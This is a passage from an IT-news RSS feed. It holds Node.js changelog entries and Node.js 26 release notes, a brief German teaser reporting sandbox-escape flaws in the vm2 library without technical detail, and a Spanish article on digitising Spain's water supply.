<li>[<a href="https://github.com/nodejs/node/commit/48bb51b3d7"><code>48bb51b3d7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ab72be9733b41190ea34f1422a3e4e243ed (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62821/hovercard">#62821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67baa3254b"><code>67baa3254b</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62512/hovercard">#62512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdee0a859d"><code>bdee0a859d</code></a>] - <strong>tools</strong>: exclude @node-core/doc-kit from dependabot cooldown (Levi Zim) <a href="https://github.com/nodejs/node/pull/62775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62775/hovercard">#62775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e19f55214"><code>9e19f55214</code></a>] - <strong>tools</strong>: re-enable undici WPTs in daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62677/hovercard">#62677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eedbdded9"><code>1eedbdded9</code></a>] - <strong>tools</strong>: use upstream version of OpenSSL in <code>test-shared</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62679" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62679/hovercard">#62679</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3490c1fba1"><code>3490c1fba1</code></a>] - <strong>tools</strong>: pass the Temporal disable flag when disabled in <code>shell.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62733" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62733/hovercard">#62733</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a29dafd2d"><code>3a29dafd2d</code></a>] - <strong>tools</strong>: fix <code>--shared-ffi</code> compilation on macOS (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62737" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62737/hovercard">#62737</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cb9108b9c"><code>5cb9108b9c</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 13043924aaa7375ce482ebe2494338e0582 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62700/hovercard">#62700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/757cd21ea0"><code>757cd21ea0</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62697/hovercard">#62697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fad51c2f03"><code>fad51c2f03</code></a>] - <strong>tools</strong>: add a check for clean git tree after tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62661/hovercard">#62661</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1c517fd61"><code>d1c517fd61</code></a>] - <strong>tools</strong>: improve backport review script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62573" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62573/hovercard">#62573</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d169c75f7"><code>6d169c75f7</code></a>] - <strong>tools</strong>: make <code>v8.nix</code> more stable (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62508" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62508/hovercard">#62508</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1587a60bf8"><code>1587a60bf8</code></a>] - <strong>tools</strong>: add perfetto updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f54d74a5e7"><code>f54d74a5e7</code></a>] - <strong>tools</strong>: improve output for unexpected passes in WTP tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62587/hovercard">#62587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86c96333c"><code>a86c96333c</code></a>] - <strong>tools</strong>: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62627" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62627/hovercard">#62627</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9860f5800"><code>c9860f5800</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a6522db5b947cd7026a40d02acc3ca26136 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62596" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62596/hovercard">#62596</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae41e2a141"><code>ae41e2a141</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62552/hovercard">#62552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2ba824407"><code>e2ba824407</code></a>] - <strong>tools</strong>: allow triagers to queue a PR for CI until it's reviewed (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62524/hovercard">#62524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/899d780f15"><code>899d780f15</code></a>] - <strong>tools</strong>: do not run <code>commit-lint</code> on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62523/hovercard">#62523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/102da27b4e"><code>102da27b4e</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3abd78c3e5"><code>3abd78c3e5</code></a>] - <strong>url</strong>: optimize URLSearchParams set/delete duplicate handling (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62266/hovercard">#62266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd3bf3830b"><code>fd3bf3830b</code></a>] - <strong>url</strong>: align default argument handling for URLPattern with webidl (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62719/hovercard">#62719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b85c73ff10"><code>b85c73ff10</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c1d6b3db73"><code>c1d6b3db73</code></a>] - <strong>v8</strong>: add cpu profile options (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62684/hovercard">#62684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/717d9a7fda"><code>717d9a7fda</code></a>] - <strong>v8</strong>: add heap profile API (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62273" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62273/hovercard">#62273</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b885667a9"><code>2b885667a9</code></a>] - <strong>watch</strong>: track worker entry files in watch mode (SudhansuBandha) <a href="https://github.com/nodejs/node/pull/62368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62368/hovercard">#62368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/457fb55193"><code>457fb55193</code></a>] - <strong>watch</strong>: fix --env-file-if-exists crashing on linux if the file is missing (Efe) <a href="https://github.com/nodejs/node/pull/61870" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61870/hovercard">#61870</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – In der beliebten vm2 Node.js-Bibliothek wurden mehrere kritische Sicherheitslücken entdeckt, die es Angreifern ermöglichen könnten, aus der Sandbox auszubrechen und beliebigen Code auszuführen. Diese Schwachstellen stellen ein erhebliches Risiko für Systeme dar, die auf die...]]></description>
<link>https://tsecurity.de/de/3494765/it-security-nachrichten/kritische-sicherheitsluecken-in-der-vm2-nodejs-bibliothek-entdeckt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3494765/it-security-nachrichten/kritische-sicherheitsluecken-in-der-vm2-nodejs-bibliothek-entdeckt/</guid>
<pubDate>Thu, 07 May 2026 07:53:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – In der beliebten vm2 Node.js-Bibliothek wurden mehrere kritische Sicherheitslücken entdeckt, die es Angreifern ermöglichen könnten, aus der Sandbox auszubrechen und beliebigen Code auszuführen. Diese Schwachstellen stellen ein erhebliches Risiko für Systeme dar, die auf diese Bibliothek angewiesen sind, um untrusted JavaScript-Code sicher auszuführen. Die vm2 Node.js-Bibliothek, die häufig zur sicheren Ausführung […]</p>
<div><a href="https://www.it-boltwise.de/kritische-sicherheitsluecken-in-der-vm2-node-js-bibliothek-entdeckt.html">... den vollständigen Artikel <strong>»Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/kritische-sicherheitsluecken-in-der-vm2-node-js-bibliothek-entdeckt.html">Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[El agua quiere dejar de ser un “novato digital”]]></title>
<description><![CDATA[El agua está tan integrada en nuestra vida cotidiana que ya ni siquiera nos parece algo especial. Abrimos el grifo, tiramos de la cisterna o activamos el chorro de la ducha y allí está, esperando. Sin embargo, para que eso ocurra tienen que pasar muchas cosas, un complejo ciclo del agua que garan...]]></description>
<link>https://tsecurity.de/de/3491709/it-nachrichten/el-agua-quiere-dejar-de-ser-un-novato-digital/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3491709/it-nachrichten/el-agua-quiere-dejar-de-ser-un-novato-digital/</guid>
<pubDate>Wed, 06 May 2026 09:18:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El agua está tan integrada en nuestra vida cotidiana que ya ni siquiera nos parece algo especial. Abrimos el grifo, tiramos de la cisterna o activamos el chorro de la ducha y allí está, esperando. Sin embargo, para que eso ocurra tienen que pasar muchas cosas, un complejo ciclo del agua que garantiza no solo que circule sino también que sea óptima para el consumo humano. Es un proceso en el que la tecnología también está muy presente.</p>



<p>“Se puede decir que toda el agua es tecnológica. Otra cosa es que sea analógica o digital”, explica Luis Babiano, gerente de la Asociación Española de Operadores Públicos de Abastecimiento y Saneamiento (AEOPAS). “Es un sector altamente tecnificado. Otra cosa es que estemos en el inicio de la digitalización. Nos falta todavía mucho para ser unos auténticos campeones digitales”, reconoce a CIO ESPAÑA.</p>



<p>“Aunque el agua sigue siendo un recurso físico, su gestión hoy es cada vez más digital”, explica al otro lado del correo electrónico María Gil, responsable de Idrica en España. Las <em>utilities</em> han incorporado a nivel global “sensores IoT, sistemas SCADA avanzados, telelectura, plataformas de analítica y, más recientemente, arquitecturas de datos tipo <em>data lake</em> que permiten integrar información de toda la operación”, apunta, lo que permite hacer una gestión más basada en datos.</p>



<p>Aun así, la digitalización del ciclo del agua es uno de los retos a los que se enfrenta el sector, uno que se vuelve mucho más acuciante cuando se tiene en cuenta el contexto en el que opera el agua. “La importancia es enorme porque el agua es un recurso cada vez más escaso y sometido a una gran presión”, explica Gil.</p>



<p>Las organizaciones ecologistas llevan años alertando sobre el impacto que tiene la presión creciente sobre los acuíferos, así como el coste que la crisis climática pasa en término de sequías. Según un informe de la ONU publicado en enero, el mundo ha entrado ya en una fase de “bancarrota hídrica”. “Muchas regiones han vivido muy por encima de sus posibilidades hidrológicas. Es como tener una cuenta bancaria a la que se le extrae dinero cada día sin que entre un solo depósito. El saldo ya es negativo”, <a href="https://news.un.org/es/story/2026/01/1541043" target="_blank" rel="nofollow">explicaba</a> entonces Kaveh Madani, el autor principal del informe.</p>



<p>España es, de hecho, uno de los terrenos más complejos en lo que presión hídrica se refiere. WWF <a href="https://actua.wwf.es/es/espana-se-seca" target="_blank" rel="nofollow">advierte</a> de que el país “se queda sin agua”, por ejemplo, y cada vez se habla más de estrés hídrico.  La situación es compleja, porque, como advierte la propia industria del agua, también se pierden cantidades importantes por culpa de los problemas de las propias infraestructuras que dan soporte al ciclo del agua. Algunas estimaciones <a href="https://elpais.com/extra/infraestructuras/2026-02-22/espana-bajo-el-permanente-sindrome-de-una-crisis-hidrica.html" target="_blank" rel="nofollow">hablan</a> de que entre el 19 y 20% del agua se desperdicia por fugas o averías.</p>



<p>La digitalización podría ayudar a ser más eficaces y, sobre todo, a mejorar la eficiencia y resiliencia del ciclo del agua. Como apuntan las fuentes expertas, se podría prever situaciones complejas, identificar problemas, optimizar redes y mejorar las cosas.</p>



<h2 class="wp-block-heading">El estado de las cosas en España</h2>



<p>En este proceso de salto a la digitalización, hay luces y elementos positivos, pero también hay matices que invitan a poner en cierta perspectiva el optimismo. Esto es, hablar con el sector deja claro que se están haciendo cosas y que existe mucho interés, pero que se necesita mucha más inversión y mucha más sensibilidad ante la importancia del problema y la necesidad de actuar para mejorar esas infraestructuras del agua.</p>



<p>“España es uno de los países más avanzados en gestión del agua y eso se está trasladando también al ámbito digital”, defiende Gil. “Estamos viendo <em>utilities</em> que ya operan con plataformas integradas, modelos de gemelo digital, analítica avanzada y despliegues amplios de telelectura”, ejemplifica.</p>



<p>El <a href="https://www.prtr.miteco.gob.es/es/perte/perte-digitalizacion-ciclo-agua.html" target="_blank" rel="nofollow">PERTE del agua</a> (que destinó parte de los fondos europeos del Plan de Recuperación, Transformación y Resiliencia a la digitalización del ciclo del agua) ha servido para dar impulso a la transformación. “El PERTE del agua ha sido una auténtica semilla para sembrar la digitalización en el sector y esto es muy positivo”, señala Babiano. También Gil confirma que “está acelerando” el cambio. Así, ya existen proyectos que incorporan herramientas clave y que “pueden servir de locomotoras”, como apunta el gerente de AEOPAS. Pero esto es solo una parte de la foto. “El reto no es tanto tecnológico —la tecnología ya existe— como de adopción, integración y cambio cultural dentro de las organizaciones”, indica Gil.</p>



<p>Babiano es claro a la hora de pintar el panorama del sector: la digitalización del agua necesita financiación, una que llegue de forma sostenida. Puede que esto lleve a que cambien las tarifas del agua, pero Babiano apunta que se necesitan “también fuentes públicas para su desarrollo”. “Entre otras cosas, porque la digitalización debe ir de la mano con un proyecto país”, defiende. Un aspecto clave por el que es importante que se integre en una visión a nivel Estado y no se quede solo en algo de casos concretos es que se necesita que la digitalización llegue a todas partes. O, como asegura el experto, “no solo nos debemos centrar en las ciudades, sino también en los municipios pequeños”. Se trata de evitar que existan “dos velocidades”, una para municipios capaces de ser digitales y otra para aquellos que se quedarán con “unas carencias importantes en todo tipo de infraestructura, incluida la digitalización”.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>Las ‘utilities’ han incorporado a nivel global “sensores IoT, sistemas SCADA avanzados, telelectura, plataformas de analítica y, más recientemente, arquitecturas de datos tipo ‘data lake’ que permiten integrar información de toda la operación”, apunta María Gil (Idrica)</strong></em></p></blockquote></figure>



<p>Aquí entra, además, otro factor importante en el que incide Babiano. La digitalización del ciclo del agua necesita una base sólida: antes, hay que optimizar la propia infraestructura física que lleva el agua a la ciudadanía. Puede que hablar de cañerías y plantas de depuración no sea tan <em>cool</em> como hablar de IA, pero esa es la base del ciclo del agua y ahí es donde aparecen los primeros problemas. Ahora mismo, todavía existen zonas de España sin depuradoras (a pesar de que la normativa comunitaria lo penaliza). Además, en líneas generales, la infraestructura del agua tiene ya sus décadas, lo que crea focos de tensión. “Más del 30% de nuestras redes tiene más de 40 años”, recuerda Babiano. Para entenderlo solo hay que pensar en la reforma del baño de casa: llega un momento en el que cambiar las cañerías es inevitable. Aquí pasa a una mayor escala.</p>



<p>“La digitalización nos permite pasar de un nivel razonable de solvencia y mantenerlo en el tiempo”, afirma Babiano. Pero la transformación digital no debe ir sola: el experto advierte que “primero, se trata de optimizar nuestras pérdidas, invertir en nuestras redes, etc y luego entrar (o entrar en paralelo) en la digitalización”.</p>



<h2 class="wp-block-heading">Los retos del agua</h2>



<p>Todo esto ocurre, igualmente, en ese momento lleno de retos para el sector que no se debe perder de vista. “Estamos ante una necesidad imperiosa de una transición”, asegura Babiano. Las cuencas hidrográficas se enfrentan a sequías, a danas (que, como recuerda el experto, llevan al límite en tiempos récord a las infraestructuras, como a las plantas depuradoras que deben asumir una avalancha de agua) y a una mayor presión. “Y, sin embargo, no tenemos un proyecto muy claro en torno a cómo invertir en esta transición hídrica”, asegura. Babiano compara la situación de esta transición con la que viven la transición energética o la de movilidad, en las que existen planes, medidas fiscales e incentivos para la inversión con los que ellos no cuentan. La transición hídrica no cuenta con una situación parecida, aunque desde el sector insisten en que debería serlo.</p>



<p>En ese contexto de transición, la digitalización podría convertirse en una aliada para afrontar los retos del agua. “La tecnología no es la única solución, pero sí es un habilitador clave”, indica Gil. “Los grandes retos del agua (sequía, estrés hídrico, sobreexplotación) tienen una dimensión estructural, climática y también de gobernanza”, explica, pero recuerda que “sin tecnología es prácticamente imposible gestionarlos de forma eficiente”. Permite ver qué está ocurriendo, qué puede fallar y tomar mejores decisiones, al tiempo que “aporta transparencia y trazabilidad”. Como resume Babiano, “la digitalización aumenta exponencialmente nuestra excelencia”. “Por ejemplo, si monitorizas toda tu red, sabes la localización inmediata de los puntos donde está perdiendo más agua de lo normal”, muestra. Se puede avisar al usuario final de lo que está pasando y localizar la fuga (y solventarla).</p>



<p>En España, asegura Babiano, ya existen este tipo de soluciones. “Gran parte de la reducción de muchos de nuestros consumos está viniendo de la mano de los contadores inteligentes y de la monitorización y digitalización de nuestras redes”, apunta. “Lo que no estamos logrando todavía es mayores automatismos”, señala, recordando que alcanzar los niveles más elevados de mejoras llevará un tiempo. “Todavía estamos en una fase de, podemos decir, paso del ‘novato digital’ a la ‘integración vertical’”, resume.</p>



<h2 class="wp-block-heading">Tecnologías emergentes para el cambio</h2>



<p>Pero ¿qué herramientas TI son las que esperan a la vuelta de la esquina cuando se alcanza un nivel avanzado en la digitalización?</p>



<p>Unas cuentas tecnologías se han convertido en emergentes en la gestión global del agua, según concluye un informe de la plataforma de software Xylem Vue. Según enumera su análisis son la colaboración entre la administración pública y la empresa privada, las arquitecturas basadas en agentes, la ciberseguridad, los sistemas de alerta temprana y, por supuesto, la ya ubicua IA generativa.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>El salto a la digitalización tiene otra cara, la de las potenciales amenazas de ciberseguridad</em></strong></p></blockquote></figure>



<p>“La inteligencia artificial está empezando a jugar un papel muy relevante, especialmente cuando ya existe una base sólida de datos”, explica Gil (Idrica es, junto con Xylem, quienes están detrás de Xylem Vue). “Su principal aportación es la capacidad de encontrar patrones complejos y optimizar decisiones en entornos con múltiples variables”, apunta. “Es importante entender que la IA no sustituye al conocimiento experto de la operación”, recuerda, pero señala que cuando se combinan ambos se logran grandes resultados. Otro de los puntos destacados son los sistemas de alerta temprana, que, como explica la experta, “son uno de los mayores cambios de paradigma en la gestión del agua”. En lugar de esperar a que el fallo se produzca e impacte en el propio servicio, se adelantan a lo que va a ocurrir. “El valor está en ganar tiempo: pasar de reaccionar a prevenir. Y en un sistema tan complejo y sensible como el del agua, esa anticipación tiene un impacto directo en la continuidad del servicio, en los costes operativos y en la confianza del ciudadano”, indica.</p>



<p>Aunque, eso sí, el salto a la digitalización tiene otra cara, la de las potenciales amenazas de ciberseguridad. El agua no deja de ser una infraestructura crítica y muy sensible. “Sin duda, la digitalización amplía la superficie de exposición, y el sector del agua no es ajeno a ello”, reconoce Gil, que suma que esto se ha convertido ya “en una prioridad creciente”. “Lo que estamos viendo es una evolución hacia modelos de seguridad más maduros”, afirma. “También hay una mayor concienciación en el sector”, suma. “La clave está en que la digitalización y la ciberseguridad avancen de la mano. No son elementos independientes”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-05, Version 26.0.0 (Current), @RafaelGSS]]></title>
<description><![CDATA[We're excited to announce the release of Node.js 26! Highlights include the Temporal API enabled by default,
updates to the V8 JavaScript engine to 14.6, Undici to 8.0, and several important deprecations and removals
as we continue to modernize the platform.
As a reminder, Node.js 26 will enter l...]]></description>
<link>https://tsecurity.de/de/3489876/downloads/2026-05-05-version-2600-current-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489876/downloads/2026-05-05-version-2600-current-rafaelgss/</guid>
<pubDate>Tue, 05 May 2026 16:31:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We're excited to announce the release of Node.js 26! Highlights include the Temporal API enabled by default,<br>
updates to the V8 JavaScript engine to 14.6, Undici to 8.0, and several important deprecations and removals<br>
as we continue to modernize the platform.</p>
<p>As a reminder, Node.js 26 will enter long-term support (LTS) in October, but until then, it will be the "Current" release for the next six months.<br>
We encourage you to explore the new features and benefits offered by this latest release and evaluate their potential impact on your applications.</p>
<h3>Notable Changes</h3>
<h4>Temporal API</h4>
<p>The Temporal API is now enabled by default in Node.js 26. Temporal is a modern date/time API for JavaScript<br>
that provides a more robust and feature-rich alternative to the legacy <code>Date</code> object.</p>
<p>Contributed by Richard Lau in <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a>.</p>
<h4>V8 14.6</h4>
<p>The V8 engine is updated to version 14.6.202.33, which is part of Chromium 134.</p>
<p>This version also includes:</p>
<ul>
<li>Upsert (<a href="https://github.com/tc39/proposal-upsert">https://github.com/tc39/proposal-upsert</a>): <code>[Weak]Map.prototype.getOrInsert()</code>, <code>[Weak]Map.prototype.getOrInsertComputed()</code></li>
<li>Iterator sequencing (<a href="https://github.com/tc39/proposal-iterator-sequencing">https://github.com/tc39/proposal-iterator-sequencing</a>): <code>Iterator.concat()</code></li>
</ul>
<p>Contributed by Michaël Zasso in <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a>.</p>
<h4>Undici 8</h4>
<p>Undici has been updated to version 8.0.2, bringing new features and improvements to Node.js's HTTP client implementation.</p>
<h4>Deprecations and Removals</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/dff46c07c3"><code>dff46c07c3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: move DEP0182 to End-of-Life (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61084/hovercard">#61084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93c25815ee"><code>93c25815ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: move writeHeader to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60635/hovercard">#60635</a></li>
</ul>
<p><code>http.Server.prototype.writeHeader()</code> is now fully removed. Use <code>http.Server.prototype.writeHead()</code> instead.</p>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c755b0113c"><code>c755b0113c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: move _stream_* to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60657" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60657/hovercard">#60657</a></li>
</ul>
<p>The legacy <code>_stream_wrap</code>, <code>_stream_readable</code>, <code>_stream_writable</code>, <code>_stream_duplex</code>, <code>_stream_transform</code>, and <code>_stream_passthrough</code> modules are now fully removed.</p>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/adac077484"><code>adac077484</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: runtime-deprecate DEP0203 and DEP0204 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62453/hovercard">#62453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac6375417a"><code>ac6375417a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: promote DEP0201 to runtime deprecation (René) <a href="https://github.com/nodejs/node/pull/62173" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62173/hovercard">#62173</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98907f560f"><code>98907f560f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: runtime-deprecate module.register() (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62401/hovercard">#62401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89f4b6cddb"><code>89f4b6cddb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: remove --experimental-transform-types (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61803/hovercard">#61803</a></li>
</ul>
<h3>Semver-Major Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d3f79aa65d"><code>d3f79aa65d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>assert</strong>: allow printf-style messages as assertion error (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/58849" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58849/hovercard">#58849</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6ce381fec"><code>f6ce381fec</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: bump GCC requirement to 13.2 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/62555" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62555/hovercard">#62555</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bff81fca46"><code>bff81fca46</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable Temporal by default (Richard Lau) <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ddb1643e1"><code>6ddb1643e1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable V8_VERIFY_WRITE_BARRIERS in debug build (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8ab08b373"><code>a8ab08b373</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
